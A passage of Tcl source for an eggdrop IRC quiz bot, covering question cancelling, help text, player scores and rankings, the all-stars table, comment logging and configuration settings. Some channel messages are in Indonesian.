mx_log "--- Usercancel requested by $nick."\r\n    if {$quizstate == "asked" && $usergame == 1} {\r\n	if {[info exists theq(Author)] && ![mx_str_ieq $nick $theq(Author)]} {\r\n	    mxirc_notc $nick "No, only $theq(Author) can cancel this question!"\r\n	} else {\r\n	    mxirc_notc $nick "Your question is canceled and will be solved."\r\n	    set theq(Comment) "canceled by user"\r\n	    tmcquiz_solve "user canceling" 0 {}\r\n	}\r\n    } elseif {[mx_userquests_available]} {\r\n	array set aq [lindex $userqlist $userqnumber]\r\n	if {[mx_str_ieq $aq(Author) $nick]} {\r\n	    mxirc_notc $nick "Your question \\"$aq(Question)\\" will be skipped."\r\n	    set aq(Comment) "canceled by user"\r\n  	    set userqlist [lreplace $userqlist $userqnumber $userqnumber [array get aq]]\r\n	    incr userqnumber\r\n	} else {\r\n	    mxirc_notc $nick "Sorry, the next question is by $aq(Author)."\r\n	}\r\n    } else {\r\n	mxirc_notc $nick "No usergame running or ahead."\r\n    }\r\n    return 1\r\n}\r\n\r\n\r\n## pubm help wrapper\r\nproc tmcquiz_pub_help {nick host handle channel arg} {\r\n    global quizconf\r\n\r\n    if {![mx_str_ieq $channel $quizconf(quizchannel)]} {\r\n	return 0\r\n    } else {\r\n	tmcquiz_help $nick $host $handle $arg\r\n	return 1\r\n    }\r\n}\r\n\r\n\r\n## pubm !nilai to report scores\r\nproc tmcquiz_pub_score {nick host handle channel arg} {\r\n    global allstarsarray userlist\r\n    global quizconf\r\n\r\n    variable allstarspos\r\n    variable pos 0\r\n    variable self_has "You have"\r\n    variable self_is "You are"\r\n    variable self "You"\r\n    variable target\r\n\r\n    set arg [string trim "$arg"]\r\n\r\n    if {$arg != "" && $arg != $nick} {\r\n	set self_has "$arg has"\r\n	set self_is "$arg is"\r\n	set self "$arg"\r\n	set target $arg\r\n    } else {\r\n	set target $nick\r\n    }\r\n\r\n\r\n    if {![mx_str_ieq $channel $quizconf(quizchannel)]} {\r\n	return 0\r\n    } else {\r\n	# report rank entries\r\n	if {[info exists userlist($target)]} {\r\n	    array set userarray $userlist($target)\r\n	    if {$userarray(score)} {\r\n		# calc position\r\n		set pos [mx_get_rank_pos $target]\r\n		mxirc_say $channel "4,1D15,1ik 11,1$nick0,1 you have 4 $userarray(score) 0,1points and you are in ranking 4 $pos "\r\n	    } else {\r\n		mxirc_say $channel "0,1$nick you don''t have point in this game."\r\n	    }\r\n	} else {\r\n	    mxirc_say $channel "0,1$nick hasn''t registered in this game."\r\n	}\r\n\r\n	# report allstars entries\r\n	if {[mx_get_allstars_pos $target]} {\r\n#	    mxirc_notc $nick "$self accumulated [format "\\%5.3f" [lindex $allstarsarray($target) 1]] points in the all-stars table and keep position [mx_get_allstars_pos $target] after [lindex $allstarsarray($target) 0] games."\r\n	} else {\r\n#	    mxirc_notc $nick "$self_has not yet reached the all-stars table."\r\n	}\r\n\r\n	return 1\r\n    }\r\n}\r\n\r\n\r\n## help\r\nproc tmcquiz_help {nick host handle arg} {\r\n    global botnick version_tmcquizz\r\n    global quizconf quizhelp quizshorthelp\r\n    global funstuff_enabled\r\n\r\n    variable lines\r\n    variable help\r\n    variable topics [array names quizhelp]\r\n\r\n    set arg [string tolower [string trim $arg]]\r\n\r\n    \r\n    # choose help text\r\n    mx_log "--- help requested by $nick about ''$arg''"\r\n\r\n    # elide some help text based on configuration\r\n    if {$quizconf(userquestions) == "no"} {\r\n	set index [lsearch $topics "userquestions"]\r\n	set topics [lreplace $topics $index $index]\r\n    }\r\n    \r\n    if {![info exists funstuff_enabled] || $funstuff_enabled != 1} {\r\n	set index [lsearch $topics "fun"]\r\n	set topics [lreplace $topics $index $index]\r\n    }\r\n\r\n    \r\n    # select help text\r\n    if {$arg == ""} {\r\n	set lines [format $quizshorthelp $topics]\r\n    } else {\r\n	if {[lsearch $topics $arg] != -1} {\r\n	    set lines $quizhelp($arg)\r\n	} else {\r\n	    set lines [list "Can''t help you about ''$arg''.  Choose a topic from: $topics."]\r\n	}\r\n    }\r\n\r\n    \r\n    # dump help\r\n    mxirc_notc $nick "Help for $botnick version $version_tmcquizz" \r\n    foreach line $lines {\r\n	mxirc_notc $nick $line\r\n    }\r\n    \r\n    return 1\r\n}\r\n\r\n\r\n## skipuserquest  -- removes a scheduled userquest\r\nproc tmcquiz_skipuserquest {handle idx arg} {\r\n    global userqnumber userqlist\r\n    if {[mx_userquests_available]} {\r\n	mxirc_dcc $idx "Skipping the userquest [lindex $userqlist $userqnumber]"\r\n	incr userqnumber\r\n    } else {\r\n	mxirc_dcc $idx "No usergame scheduled."\r\n    }\r\n    return 1\r\n}\r\n\r\n\r\n## saveuserquest  -- append all asked user questions to $userqfile\r\nproc tmcquiz_saveuserquests {handle idx arg} {\r\n    global userqfile userqlist userqnumber\r\n    variable uptonum $userqnumber\r\n    array set aq ""\r\n\r\n    if {[llength $userqlist] == 0 || ($userqnumber == 0 && $arg == "")} {\r\n	mxirc_dcc $idx "No user questions to save."\r\n    } else {\r\n	# save all questions?\r\n	if {[string tolower [string trim $arg]] == "all"} {\r\n	    set uptonum [llength $userqlist]\r\n	}\r\n\r\n	mx_log "--- Saving userquestions ..."\r\n	if {[file exists $userqfile] && ![file writable $userqfile]} {\r\n	    mxirc_dcc $idx "Cannot save user questions to \\"$userqfile\\"."\r\n	    mx_log "--- Saving userquestions ... failed."\r\n	} else {\r\n	    set fd [open $userqfile a+]\r\n	    ## assumes, that userqlist is correct!!\r\n	    for {set anum 0} {$anum < $uptonum} {incr anum} {\r\n		set q [lindex $userqlist $anum]\r\n		# clear old values\r\n		foreach val [array names aq] {\r\n		    unset aq($val)\r\n		}\r\n		array set aq $q\r\n		\r\n		# write some first elements\r\n		foreach n [list "Question" "Answer" "Regexp"] {\r\n		    if {[info exists aq($n)]} {\r\n			puts $fd "$n: $aq($n)"\r\n			unset aq($n)\r\n		    }\r\n		}\r\n		\r\n		# spit the rest\r\n		foreach n [lsort -dictionary [array names aq]] {\r\n		    puts $fd "$n: $aq($n)"\r\n		}\r\n		puts $fd ""\r\n	    }\r\n	    close $fd\r\n\r\n	    # prune saved and asked questions\r\n	    for {set i 0} {$i < $userqnumber} {incr i} {\r\n		set userqlist [lreplace $userqlist 0 0]\r\n	    }\r\n\r\n	    mxirc_dcc $idx "Saved $userqnumber user questions."\r\n	    mx_log "--- Saving userquestions ... done"\r\n\r\n	    ## reset userqnumber\r\n	    set userqnumber 0\r\n	}\r\n    }\r\n    return 1\r\n}\r\n\r\n\r\n## set score of open question\r\nproc tmcquiz_set_score {handle idx arg} {\r\n    ## [pending] obeye state!\r\n    global quizstate theq banner\r\n    global quizconf\r\n\r\n    mx_log "--- set_score by $handle: $arg"\r\n    if {![regexp {^[0-9]+$} $arg]} {\r\n	mxirc_dcc $idx "$arg not a valid number."\r\n    } elseif {$arg == $theq(Score)} {\r\n	mxirc_dcc $idx "New score is same as old score."\r\n    } else {\r\n	mxirc_dcc $idx "Setting score for the question to $arg points ([format "\\%+d" [expr $arg - $theq(Score)]])."\r\n	mxirc_say $quizconf(quizchannel) "Setting score for the question to $arg points ([format "\\%+d" [expr $arg - $theq(Score)]])."\r\n	set theq(Score) $arg\r\n    }\r\n    return 1\r\n}\r\n\r\n###########################################################################\r\n#\r\n# commands to manage the rankings\r\n#\r\n###########################################################################\r\n\r\n## read ranks from $rankfile\r\nproc tmcquiz_rank_load {handle idx arg} {\r\n    global rankfile userlist timerankreset\r\n    global lastsolver lastsolvercount qnum_thisgame\r\n    global quizconf\r\n    variable timeranksaved [unixtime]\r\n    variable fd\r\n    variable line\r\n    variable us 0 sc 0 mask ""\r\n\r\n    ## clear old userlist (ranks)\r\n    foreach u [array names userlist] {\r\n	unset userlist($u)\r\n    }\r\n\r\n    ## load saved scores\r\n    if {[file exists $rankfile] && [file readable $rankfile]} {\r\n	set fd [open $rankfile r]\r\n	while {![eof $fd]} {\r\n	    set line [gets $fd]\r\n	    if {![regexp "#.*" $line]} {\r\n		switch -regexp $line {\r\n		    "^winscore: .+ *$" {\r\n			scan $line "winscore: \\%d" quizconf(winscore)\r\n		    }\r\n		    "^rankreset: +[0-9]+ *$" {\r\n			scan $line "rankreset: \\%d" timerankreset\r\n		    }\r\n		    "^lastsolver:" {\r\n			scan $line "lastsolver: \\%s = \\%d" lastsolver lastsolvercount\r\n		    }\r\n		    "^ranksave:" {\r\n			scan $line "ranksave: \\%d" timeranksaved\r\n		    }\r\n		    "^qnumber:" {\r\n			scan $line "qnumber: \\%d" qnum_thisgame\r\n		    }\r\n		    default {\r\n			scan $line "\\%d \\%d : \\%s at \\%s" started sc us mask\r\n			set alist [list "mask" $mask "score" $sc "lastspoken" 0 "started" [expr $started + [unixtime] - $timeranksaved]]\r\n			set userlist($us) $alist\r\n		    }\r\n		}\r\n	    }\r\n	}\r\n	close $fd\r\n	mxirc_dcc $idx "Ranks loaded ([llength [array names userlist]]), winscore = $quizconf(winscore), saved at unixtime $timeranksaved."\r\n	mx_log "--- Ranks loaded ([llength [array names userlist]]), winscore = $quizconf(winscore), saved at unixtime $timeranksaved."\r\n    } else {\r\n	mxirc_dcc $idx "Could not read \\"$rankfile\\"."\r\n	mx_log "---- could not read \\"$rankfile\\"."\r\n    }\r\n    return 1\r\n}\r\n\r\n\r\n## save ranks to $rankfile\r\nproc tmcquiz_rank_save {handle idx arg} {\r\n    global rankfile userlist\r\n    global lastsolver lastsolvercount timerankreset\r\n    global qnum_thisgame\r\n    global quizconf\r\n    variable fd\r\n\r\n    ## save ranks\r\n    if {[llength [array names userlist]] > 0} {\r\n	set fd [open $rankfile w]\r\n	puts $fd "# rankings from $quizconf(quizchannel) at [ctime [unixtime]]."\r\n	puts $fd "winscore: $quizconf(winscore)"\r\n	puts $fd "rankreset: $timerankreset"\r\n	puts $fd "ranksave: [unixtime]"\r\n	puts $fd "qnumber: $qnum_thisgame"\r\n	if {$lastsolver != ""} {\r\n	    puts $fd "lastsolver: $lastsolver = $lastsolvercount"\r\n	}\r\n	foreach u [lsort -command mx_sortrank [array names userlist]] {\r\n	    array set aa $userlist($u)\r\n	    puts $fd [format "\\%d \\%d : \\%s at \\%s" $aa(started) $aa(score) $u $aa(mask)]\r\n	}\r\n	close $fd\r\n	mx_log "--- Ranks saved to \\"$rankfile\\"."\r\n	mxirc_dcc $idx "Ranks saved to \\"$rankfile\\"."\r\n    } else {\r\n	mxirc_dcc $idx "Ranks are empty, nothing saved."\r\n    }\r\n    return 1\r\n}\r\n\r\n## set score of a player\r\nproc tmcquiz_rank_set {handle idx arg} {\r\n    global userlist botnick\r\n    global quizconf\r\n    variable list\r\n    variable user "" newscore 0 oldscore 0\r\n#    variable prefix\r\n\r\n    ## called directly?\r\n#    if {[info level] != 1} {\r\n#	set prefix\r\n#    } else {\r\n#	set prefix\r\n#    }\r\n\r\n    mx_log "--- rankset requested by $handle: $arg"\r\n\r\n    set list [split $arg]\r\n    for {set i 0} {$i < [llength $list]} {incr i 2} {\r\n	set user [lindex $list $i]\r\n	set newscore [lindex $list [expr 1 + $i]]\r\n	if {($newscore == "") || ($user == "")} {\r\n	    mxirc_dcc $idx "Wrong number of parameters.  Cannot set \\"$user\\" to \\"$newscore\\"."\r\n	} elseif {[regexp {^[\\+\\-]?[0-9]+$} $newscore] == 0} {\r\n	    mxirc_dcc $idx "$newscore is not a number.  Ignoring set for $user."\r\n	} else {\r\n	    if {![info exists userlist($user)]} {\r\n		if {[onchan $user $quizconf(quizchannel)]} {\r\n		    mx_getcreate_userentry $user [getchanhost $user $quizconf(quizchannel)]\r\n		} else {\r\n		    mxirc_dcc $idx "Could not set rank for $user.  Not in list nor in quizchannel."\r\n		    continue\r\n		}\r\n	    }\r\n	    array set aa $userlist($user)\r\n	    set oldscore $aa(score)\r\n	    if {[regexp {^[\\+\\-][0-9]+$} $newscore]} {\r\n		set newscore [expr $oldscore + $newscore]\r\n		if {$newscore < 0} {\r\n		    mxirc_dcc $idx "You set the score of $user to $newscore.  Will be corrected to 0."\r\n		    set newscore 0\r\n		}\r\n	    }\r\n	    set aa(score) $newscore\r\n	    set userlist($user) [array get aa]\r\n	    ## did we change something?\r\n	    if {[expr $newscore - $oldscore] != 0} {\r\n		set txt "0,1$user gets extra score 4 [format "\\%+d" [expr $newscore - $oldscore]] 0,1 ToTal Nilai 4 $newscore points 0,1 peringkat ke [mx_get_rank_pos $user]."\r\n#		set prefix\r\n		if {![mx_str_ieq $handle $botnick] && [hand2nick $handle] != ""} {\r\n		    set txt "$txt  Set by [hand2nick $handle]."\r\n		}\r\n		mxirc_say $quizconf(quizchannel) $txt\r\n	    }\r\n\r\n#	    mxirc_dcc $idx "$user has new score $newscore ([format "\\%+d" [expr $newscore - $oldscore]]) peringkat ke [mx_get_rank_pos $user]."\r\n	} \r\n    }\r\n    return 1\r\n}\r\n\r\n\r\n## delete a player from rank\r\nproc tmcquiz_rank_delete {handle idx arg} {\r\n    global userlist\r\n\r\n    mx_log "--- rank delete requested by $handle: $arg"\r\n\r\n    if {$arg == ""} {\r\n	mxirc_dcc $idx "Tell me whom to delete."\r\n    } else {\r\n	foreach u [split $arg " "] {\r\n	    if {[info exists userlist($u)]} {\r\n		array set aa $userlist($u)\r\n		mxirc_dcc $idx "Nick $u removed from ranks.  Score was $aa(score) points."\r\n		unset userlist($u)\r\n	    } else {\r\n		mxirc_dcc $idx "Nick $u not in ranks."\r\n	    }\r\n	}\r\n    }\r\n    return 1\r\n}\r\n\r\n\r\n## list ranks by notice to a user\r\nproc tmcquiz_pub_rank {nick host handle channel arg} {\r\n    set arg [string trim $arg]\r\n    if {$arg == ""} {\r\n	set arg 10\r\n    } elseif {![regexp "^\\[0-9\\]+$" $arg]} {\r\n	mxirc_notc $nick "Sorry, \\"$arg\\" is not an acccepted number."\r\n	return\r\n    }\r\n#    mx_spit_rank "NOTC" $nick $arg\r\n    mx_spit_rank "NOTC" $channel $arg\r\n}\r\n\r\n## show rankings\r\nproc tmcquiz_rank {handle idx arg} {\r\n    global quizconf\r\n\r\n    set arg [string trim $arg]\r\n    if {$arg == ""} {\r\n	set arg 5\r\n    } elseif {![regexp "^\\[0-9\\]+$" $arg]} {\r\n	mxirc_dcc $idx "Sorry, \\"$arg\\" is not an acccepted number."\r\n    }\r\n    mx_spit_rank "CHANNEL" $quizconf(quizchannel) $arg\r\n}\r\n\r\n## function to show the rank to a nick or channel\r\nproc mx_spit_rank {how where length} {\r\n    global timerankreset\r\n    global userlist\r\n    global quizconf\r\n    variable pos 1\r\n    variable prevscore 0\r\n    variable entries 0\r\n    variable lines ""\r\n\r\n    # anybody with a point?\r\n    foreach u [array names userlist] {\r\n	array set aa $userlist($u)\r\n	if {$aa(score) > 0} {\r\n	    set entries 1\r\n	    break\r\n	}\r\n    }\r\n\r\n    # build list\r\n    if {$entries == 0} {\r\n	lappend lines "Highscore list is empty."\r\n    } else {\r\n	if {$length > $quizconf(maxranklines)} {\r\n	    set length $quizconf(maxranklines)\r\n#	    lappend lines "Your requested too many lines, limiting to\r\n$quizconf(maxranklines)."\r\n	}\r\n	lappend lines "0,14Highscore Current Top $length:"\r\n	set pos 1\r\n	set prevscore 0\r\n	foreach u [lsort -command mx_sortrank [array names userlist]] {\r\n	    array set aa $userlist($u)\r\n	    if {$aa(score) == 0} { break }\r\n	    if {$pos > $length && $aa(score) != $prevscore} { break }\r\n\r\n	    if {$aa(score) == $prevscore} {\r\n		set text "0,15= " \r\n	    } else {\r\n		set text [format "0,15\\%2d " $pos]\r\n	    }\r\n	    set text [format "0,15$text \\%12s :: \\%5d pts." $u $aa(score)]\r\n	    if {$pos == 1} {\r\n		set text "1,15$text 4* Congrats! *1,15"\r\n	    }\r\n	    lappend lines $text\r\n	    set prevscore $aa(score)\r\n	    incr pos\r\n	}\r\n	lappend lines "6,15Rank started7,15 [mx_duration $timerankreset] ago."\r\n    }\r\n\r\n    # spit lines\r\n    foreach line $lines {\r\n	if {$how == "NOTC"} {\r\n	    mxirc_say $where $line\r\n#	    mxirc_notc $where $line\r\n\r\n	} else {\r\n	    mxirc_say $where $line\r\n	}\r\n    }\r\n\r\n    return 1\r\n}\r\n\r\n\r\n## reset rankings\r\n#proc tmcquiz_rank_reset {handle idx arg} {\r\n#    global timerankreset userlist lastsolver lastsolvercount\r\n#    global quizconf qnum_thisgame aftergame\r\n#\r\n#    ## called directly?\r\n#    if {[info level] != 1} {\r\n#	set prefix \r\n#    } else {\r\n#	set prefix \r\n#    }\r\n#\r\n#    # forget last solver\r\n#    set lastsolver ""\r\n#    set lastsolvercount 0\r\n#\r\n#    # clear userlist\r\n#    foreach u [array names userlist] {\r\n#	unset userlist($u)\r\n#    }\r\n#    set timerankreset [unixtime]\r\n#    mxirc_say $quizconf(quizchannel) "$prefix [botcolor boldtxt]Ranks reseted by $handle after $qnum_thisgame questions."\r\n#    mxirc_dcc $idx "Ranks are resetted.  Note that the value of aftergame was neither considered nor changed."\r\n#    set qnum_thisgame 0\r\n#    mx_log "--- Ranks reseted by $handle at [unixtime]."\r\n#    return 1\r\n#}\r\n\r\n\r\n## calculate position of nick in the rank table\r\nproc mx_get_rank_pos {nick} {\r\n    global userlist\r\n    variable pos 0\r\n    variable prevscore 0\r\n\r\n    if {[llength [array names userlist]] == 0 || \\\r\n	![info exists userlist($nick)]} {\r\n	return 0\r\n    }\r\n\r\n    # calc position\r\n    foreach name [lsort -command mx_sortrank [array names userlist]] {\r\n	array set afoo $userlist($name)\r\n	if {$afoo(score) != $prevscore} {\r\n	    incr pos\r\n	}\r\n\r\n	set prevscore $afoo(score)\r\n	if {[mx_str_ieq $name $nick]} {\r\n	    break\r\n	}\r\n    }\r\n    return $pos\r\n}\r\n\r\n\r\n## sort routine for the rankings\r\nproc mx_sortrank {a b} {\r\n    global userlist\r\n    array set aa $userlist($a)\r\n    array set bb $userlist($b)\r\n    if {$aa(score) == $bb(score)} {\r\n	return 0\r\n    } elseif {$aa(score) > $bb(score)} {\r\n	return -1\r\n    } else {\r\n	return 1\r\n    }\r\n}\r\n\r\n\r\n###########################################################################\r\n#\r\n# Commands to handle the allstars list\r\n#\r\n###########################################################################\r\n\r\n\r\n## load allstars list\r\nproc tmcquiz_allstars_load {handle idx arg} {\r\n\r\n    global allstarsarray allstarsfile allstars_starttime\r\n    global quizconf\r\n\r\n    variable thismonth 0\r\n\r\n    mx_log "--- reading allstars list from $allstarsfile"\r\n\r\n    if {$quizconf(monthly_allstars) == "yes"} {\r\n	set thismonth [clock scan [clock format [unixtime] -format "\\%m/01/\\%Y"]]\r\n    }\r\n\r\n    if {[file exists $allstarsfile] && [file readable $allstarsfile]} {\r\n	# clear old list\r\n	foreach name [array names allstarsarray] {\r\n	    unset allstarsarray($name)\r\n	}\r\n	set allstars_starttime -1\r\n\r\n	## read datafile\r\n	set fd [open $allstarsfile r]\r\n	while {![eof $fd]} {\r\n	    set line [gets $fd]\r\n	    if {![regexp "#.*" $line]} {\r\n		if {[scan $line "\\%d \\%d : \\%d \\%d --  \\%s \\%s " time duration sctotal sc us usermask] == 6} {\r\n		    if {$time >= $thismonth} {\r\n			if {$allstars_starttime == -1} {\r\n			    set allstars_starttime $time\r\n			}\r\n			if {[info exists allstarsarray($us)]} {\r\n			    set entry $allstarsarray($us)\r\n			    set allstarsarray($us) [list \\\r\n				    [expr [lindex $entry 0] + 1] \\\r\n				    [expr [lindex $entry 1] + [mx_allstarpoints $sctotal $sc $duration]] \\\r\n				    ]\r\n			} else {\r\n			    set allstarsarray($us) [list \\\r\n				    1 \\\r\n				    [mx_allstarpoints $sctotal $sc $duration] \\\r\n				    ]\r\n			}\r\n		    }\r\n		} else {\r\n		    mx_log "---- allstar line not recognized: \\"$line\\"."\r\n		}\r\n	    }\r\n	}\r\n	close $fd\r\n	mx_log "---- allstars list successfully read ([llength [array names allstarsarray]] users)."\r\n	mxirc_dcc $idx "Allstars list successfully read ([llength [array names allstarsarray]] users)."\r\n    } else {\r\n	mx_log  "---- could not read \\"$allstarsfile\\", allstars list set empty."\r\n	mxirc_dcc $idx  "Could not read \\"$allstarsfile\\", allstars list set empty."\r\n	array set allstarsarray {}\r\n    }\r\n    return 1\r\n}\r\n\r\n\r\n## list allstars by notice to a user\r\nproc tmcquiz_pub_allstars {nick host handle channel arg} {\r\n    set arg [string trim $arg]\r\n    if {$arg == ""} {\r\n	set arg 10\r\n    } elseif {![regexp "^\\[0-9\\]+$" $arg]} {\r\n	mxirc_notc $nick "Sorry, \\"$arg\\" is not an acccepted number."\r\n    }\r\n    mx_spit_allstars "NOTC" $nick $arg\r\n}\r\n\r\n## show allstars\r\nproc tmcquiz_allstars {handle idx arg} {\r\n    global quizconf\r\n\r\n    set arg [string trim $arg]\r\n    if {$arg == ""} {\r\n	set arg 5\r\n    } elseif {![regexp "^\\[0-9\\]+$" $arg]} {\r\n	mxirc_dcc $idx "Sorry, \\"$arg\\" is not an acccepted number."\r\n	return\r\n    }\r\n    mx_spit_allstars "CHANNEL" $quizconf(quizchannel) $arg\r\n}\r\n\r\n## show all-star rankings\r\nproc mx_spit_allstars {how where length} {\r\n    global allstarsarray allstars_starttime\r\n    global quizconf\r\n    variable score\r\n    variable games\r\n    variable numofgames 0\r\n    variable lines ""\r\n\r\n    if {[llength [array names allstarsarray]] == 0} {\r\n	lappend lines "Allstars list is empty."\r\n    } else {\r\n	# limit num of lines\r\n	if {$length > $quizconf(maxranklines)} {\r\n	    set length $quizconf(maxranklines)\r\n	    lappend lines "Your requested too many lines, limiting to $quizconf(maxranklines)."\r\n	}\r\n\r\n	# build table\r\n	set aline "[banner] [botcolor highscore]"\r\n	if {$quizconf(monthly_allstars) == "yes"} {\r\n	    set aline "$aline[clock format $allstars_starttime -format \\%B] "\r\n	}\r\n	set aline "$aline[]All-Stars top $length:"\r\n	lappend lines $aline\r\n	set pos 1\r\n	set prevscore 0\r\n	foreach u [lsort -command mx_sortallstars [array names allstarsarray]] {\r\n	    set entry $allstarsarray($u)\r\n	    set games [lindex $entry 0]\r\n	    set score [lindex $entry 1]\r\n	    incr numofgames $games\r\n\r\n	    # if {$score == 0} { break }\r\n	    ## continue counting num of games played!!\r\n	    if {$pos > $length && $score != $prevscore} { continue }\r\n	    if {$score == $prevscore} {\r\n		set text " = " \r\n	    } else {\r\n		set text [format "\\%2d " $pos]\r\n	    }\r\n	    set text [format "$text \\%18s  -- \\%5.3f pts, \\%2d games." $u $score $games]\r\n	    if {$pos == 1} {\r\n		set text "$text * Congrats! *"\r\n	    }\r\n	    lappend lines $text\r\n	    set prevscore $score\r\n	    incr pos\r\n	}\r\n	lappend lines "[botcolor boldtxt]There were [llength [array names allstarsarray]] users playing $numofgames games."\r\n    }\r\n\r\n    # spit table\r\n    foreach line $lines {\r\n	if {$how == "NOTC"} {\r\n	    mxirc_notc $where $line\r\n	} else {\r\n	    mxirc_say $where $line\r\n	}\r\n    }\r\n\r\n    return 1\r\n}\r\n\r\n\r\nproc mx_saveallstar {time duration score name mask} {\r\n    global allstarsfile userlist allstarsarray allstars_starttime\r\n    global quizconf botnick\r\n    variable scoretotal 0\r\n    \r\n    # compute sum of scores in this game\r\n    foreach u [array names userlist] {\r\n	array set afoo $userlist($u)\r\n	incr scoretotal $afoo(score)\r\n    }\r\n    \r\n    if {$scoretotal == $score} {\r\n#	mxirc_action $quizconf(quizchannel) "does not record you in the allstars table, since you played alone."\r\n	mx_log "--- $name was not saved to allstars since he/she was playing alone."\r\n    } else {\r\n	# save entry\r\n	set fd [open $allstarsfile a]\r\n	puts $fd "$time $duration : $scoretotal $score -- $name $mask"\r\n	close $fd\r\n	if {[info exists allstarsarray($name)]} {\r\n	    set entry $allstarsarray($name)\r\n	    set allstarsarray($name) [list \\\r\n		    [expr [lindex $entry 0] + 1] \\\r\n		    [expr [lindex $entry 1] + [mx_allstarpoints $scoretotal $score $duration]] \\\r\n		    ]\r\n	} else {\r\n	    set allstarsarray($name) [list \\\r\n		    1 \\\r\n		    [mx_allstarpoints $scoretotal $score $duration] \\\r\n		    ]\r\n	}\r\n\r\n	# reload allstars table if a new month began\r\n	if {$quizconf(monthly_allstars) == "yes" &&\r\n	$allstars_starttime < [clock scan [clock format [unixtime] -format "\\%m/01/\\%Y"]]} {\r\n	    mx_log "--- new month, reloading allstars table"\r\n	    tmcquiz_allstars_load $botnick 0 {}\r\n	}\r\n\r\n#	mxirc_action $quizconf(quizchannel) "records $name with [format "\\%5.3f" [mx_allstarpoints $scoretotal $score $duration]] points on the all-stars table (now [format "\\%5.3f" [lindex $allstarsarray($name) 1]] points, pos [mx_get_allstars_pos $name])."\r\n	mx_log "--- saved $name with [mx_allstarpoints $scoretotal $score $duration] points (now [format "\\%5.3f" [lindex $allstarsarray($name) 1]] points, pos [mx_get_allstars_pos $name]) to the allstars file. Time: $time"\r\n    }\r\n}\r\n\r\n\r\n## compute position of $nick in allstarsarray\r\nproc mx_get_allstars_pos {nick} {\r\n    global allstarsarray\r\n    variable pos 0\r\n    variable prevscore 0\r\n\r\n    if {[llength [array names allstarsarray]] == 0 || \\\r\n	![info exists allstarsarray($nick)]} {\r\n	return 0\r\n    }\r\n\r\n    # calc position\r\n    foreach name [lsort -command mx_sortallstars [array names allstarsarray]] {\r\n	if {[lindex $allstarsarray($name) 1] != $prevscore} {\r\n	    incr pos\r\n	}\r\n\r\n	set prevscore [lindex $allstarsarray($name) 1]\r\n	if {[mx_str_ieq $name $nick]} {\r\n	    break\r\n	}\r\n    }\r\n    return $pos\r\n}\r\n\r\n\r\n## calculate entry in allstar table\r\nproc mx_allstarpoints {sum score duration} {\r\n    if {$sum == $score} {\r\n	return 0\r\n    } else {\r\n	return [expr (10 * double($sum)) / (log10($score) * $duration)]\r\n    }\r\n}\r\n\r\n\r\n## sort routine for the allstars\r\nproc mx_sortallstars {a b} {\r\n    global allstarsarray\r\n    variable sca [lindex $allstarsarray($a) 1]\r\n    variable scb [lindex $allstarsarray($b) 1]\r\n\r\n    if {$sca == $scb} {\r\n	return 0\r\n    } elseif {$sca > $scb} {\r\n	return -1\r\n    } else {\r\n	return 1\r\n    }\r\n}\r\n\r\n\r\n###########################################################################\r\n#\r\n# User comment handling\r\n#\r\n###########################################################################\r\n\r\n## record a comment\r\nproc tmcquiz_pub_comment {nick host handle channel arg} {\r\n    global commentsfile\r\n\r\n    set arg [string trim $arg]\r\n    if {$arg != ""} {\r\n	set fd [open $commentsfile a]\r\n	puts $fd "\\[[ctime [unixtime]]\\] $nick on $channel comments: $arg"\r\n	close $fd\r\n\r\n	mxirc_notc $nick "Your comment was logged."\r\n    } else {\r\n	mxirc_notc $nick "Well, comment something *g*"\r\n    }\r\n}\r\n\r\n## record a comment\r\nproc tmcquiz_dcc_comment {handle idx arg} {\r\n    global commentsfile\r\n\r\n    set arg [string trim $arg]\r\n    if {$arg != ""} {\r\n	set fd [open $commentsfile a]\r\n	puts $fd "\\[[ctime [unixtime]]\\] $handle comments: $arg"\r\n	close $fd\r\n\r\n	mxirc_dcc $idx "Your comment was logged."\r\n    } else {\r\n	mxirc_dcc $idx "Well, comment something *g*"\r\n    }\r\n}\r\n\r\n###########################################################################\r\n#\r\n# Configuration file reading and writing, setup\r\n#\r\n###########################################################################\r\n\r\n# public interface to set the configuration variables from the config file\r\nproc tmcquiz_config_set {handle idx arg} {\r\n    global quizconf\r\n    variable key\r\n    variable value\r\n    variable success 0\r\n\r\n    # collapse whitespace\r\n    regsub -all " +" $arg " " arg\r\n\r\n    # extract key and value\r\n    set list [split $arg]\r\n    for {set i 0} {$i < [llength $list]} {incr i 2} {\r\n	set key [string tolower [lindex $list $i]]\r\n	set value [lindex $list [expr 1 + $i]]\r\n\r\n	# first lets see if the key exists\r\n	set keylist [array names quizconf "*$key*"]\r\n	if {[llength $keylist] == 1} { set key [lindex $keylist 0] }\r\n\r\n	if {[info exists quizconf($key)]} {\r\n	    if {$value == ""} {\r\n		mxirc_dcc $idx "$key = $quizconf($key)"\r\n	    } else {\r\n		mx_log "--- config tried $key = $value"\r\n		set success 0\r\n		set oldvalue $quizconf($key)\r\n		switch -regexp $oldvalue {\r\n		    "^(yes|no)" {\r\n			if {[regexp "^(yes|no)$" $value]} {\r\n			    set quizconf($key) $value\r\n			    set success 1\r\n			}\r\n		    }\r\n		    "^\\[0-9\\]+$" {\r\n			if {[regexp "^\\[0-9\\]+$" $value]} {\r\n			    set quizconf($key) $value\r\n			    set success 1\r\n			}\r\n		    }\r\n		    default {\r\n			set quizconf($key) $value\r\n			set success 1\r\n		    }\r\n		}\r\n		\r\n		if {$success == 1} {\r\n		    mxirc_dcc $idx "Config $key successfully set to $value."\r\n		    mx_log "-- config $key set to $value."\r\n		    \r\n		    # action on certain variables\r\n		    mx_config_apply $key $oldvalue\r\n\r\n		} else {\r\n		    mxirc_dcc $idx "Config $key could not be set to ''$value'', wrong format."\r\n		    mx_log "-- Config $key could not be set to ''$value'', wrong format."\r\n		}\r\n		set success 0\r\n	    }\r\n	} else {\r\n	    # dump keys with substring\r\n	    set keylist [array names quizconf "*$key*"]\r\n	    if {[llength $keylist] == 0} {\r\n		mxirc_dcc $idx "Sorry, no configuration matches ''$key''"\r\n	    } else {\r\n		mxirc_dcc $idx "Matched configuration settings for ''$key'':"\r\n		for {set j 0} {$j < [llength $keylist]} {incr j 1} {\r\n		    mxirc_dcc $idx "[lindex $keylist $j] = $quizconf([lindex $keylist $j])"\r\n		}\r\n	    }\r\n	}\r\n    }\r\n\r\n    # check if arg was empty and dump _all_ known keys then\r\n    if {$arg == ""} {\r\n	set keylist [array names quizconf]\r\n	mxirc_dcc $idx "Listing all settings:"\r\n	for {set j 0} {$j < [llength $keylist]} {incr j 1} {\r\n	    mxirc_dcc $idx "[lindex $keylist $j] = $quizconf([lindex $keylist $j])"\r\n	